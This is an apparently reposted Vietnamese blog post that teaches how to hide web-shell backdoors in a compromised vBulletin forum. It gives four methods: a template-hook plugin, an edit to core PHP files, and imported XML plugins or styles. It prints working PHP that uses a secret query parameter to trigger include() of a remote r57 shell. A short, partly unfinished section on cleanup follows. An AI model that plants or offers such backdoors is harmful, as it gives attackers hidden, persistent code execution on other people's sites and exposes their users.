Thứ Bảy, 26 tháng 2, 2011

Phương pháp include shell trong source VBB và cách phòng chống

Phương pháp include shell trong source VBB và cách phòng chống Nguồn HVA

I/Phương diện hacker - upload shell


Bỏ qua phần làm thế nào hacker có shell trên host, mình chỉ nói đến việc hacker đã khai thác file config và hoàn toàn chiếm quyền admin của website bạn. Sau đây mình sẽ liệt kê một cách gần như đầy đủ các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể dễ dàng trong những cuộc tấn công tiếp theo. 

Method 1: tạm gọi là up shell qua việc edit teamplate (cách này gần giống với kiều RFI-remote file include)

Bạn lần lượt làm như sau:
Vào admincp -->Plugin manager -->Add new plugin Ở phần HOOK Location bạn chọn là : CACHE_TEMPLATE nhé,
Phần Name: có thể đặt tên tùy ý
Phần plugin php code hãy dùng đoạn code sau để include shell:
Mã:
{ 
If($_GET['nameshell']=="heloworld"){ 
Include('http://localhost/r57new.php'); 
} 
} 


Nhớ kích vào nút đồng ý (yes) để active plugin này nhé .


Bây giờ cùng test nhé ở đây mình test trên localhost.
Bạn thêm phần ?nameshell=helloworld vào sau:
Index.php hoặc image.php, online.php hay bất cứ file php nào ở ngoài index của host, cái này tùy thuộc vào bạn 
Ở đây mình thử với index.php nh



Method 2: chèn shell bằng cách edit file .php có trong host
Bạn tìm những file mà admin ít để ý để chèn đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.
Mã:
If ($_REQUEST['nameshell']=="helloworld") { include ("http://localhost/r57new.php"); } 
Demo: mình edit file announcement.php
Mã:
<?php
/*================================================= =====================*\
|| ################################################## ################## ||
|| # vBulletin 3.7.2
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2007 Jelsoft Enterprises Ltd.


All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| ################################################## ################## ||
\*================================================ ======================*/
If ($_REQUEST['nameshell']=="helloworld") { include ("http://localhost/r57new.php"); }
// ######################## SET PHP ENVIRONMENT ###########################
Error_reporting(E_ALL & ~E_NOTICE);

// ##################### DEFINE IMPORTANT CONSTANTS #######################
Define('THIS_SCRIPT', 'announcement');

// #################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array(
'postbit',
'reputationlevel',
'posting', 
Hưởng thụ thành quả lao động nào 



Method 3: là cách import file xml qua plugin
Bạn lần lượt làm như sau:
Plugins & Products --> Download / Upload Plugins --> chọn lấy con shell xml và import vào. (đính kèm ở bài viết)



Bạn có thể mở source file shell xml lên và thay subscriptions.php bằng repair.php hoặc faq.php (bất cứ file .php nào trong admincp mà bạn nghĩ admin site đó sẽ không chú ý đến). Bạn cũng có thể import vào nhiều file cho chắc ăn 


Method 4: import shell qua skin
Bạn lần lượt làm như sau:

Styles & Templates --> Download / Upload Styles --> chọn shell để upload (đính kèm ở bài viết)

Bạn muốn thêm shell vào skin nào thì ở phần Merge Into Style chọn skin đó.



Và đây là kết quả


Cũng cool đó nhỉ 
II/Phương diện webmaster - giải quyết sự cố bị hackTiếp sau đây mình xin hướng dẫn các bạn cách clear shell trên host:
- Đầu tiên bạn sẽ phải quan sát thật kĩ xem có file nào lạ không.
- Tiếp theo bạn hãy download source forum về và dùng antivirut để check shell nếu hacker chỉ up shell thông thường lên forum và không dấu nó. Bạn chú ý xem kĩ những folder trong forum như include, modcp ...
Nếu shell đã được mã hóa thì anti sẽ không check ra tốt nhất là nên up một source forum mới lên thay thế source forum cũ.
- Đối vời shell được chèn vào database và source thì tùy theo từng dạng ta có phương pháp phòng chống riêng 
+ Method 1: đợi suy nghĩ xong rồi post tiếp
+ Method 2: upload new source như đã nói ở trên.
+ Method 3: bạn vào Plugin Manager bạn bắt đầu tìm với cột Hook Location nếu tìm thấy phần nào có init_startup thì đó chính là con shell mà hacker đã include vào


+ Method 4: remove skin bị đính kèm shell

0 nhận xét:

Đăng nhận xét

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by mkha.hero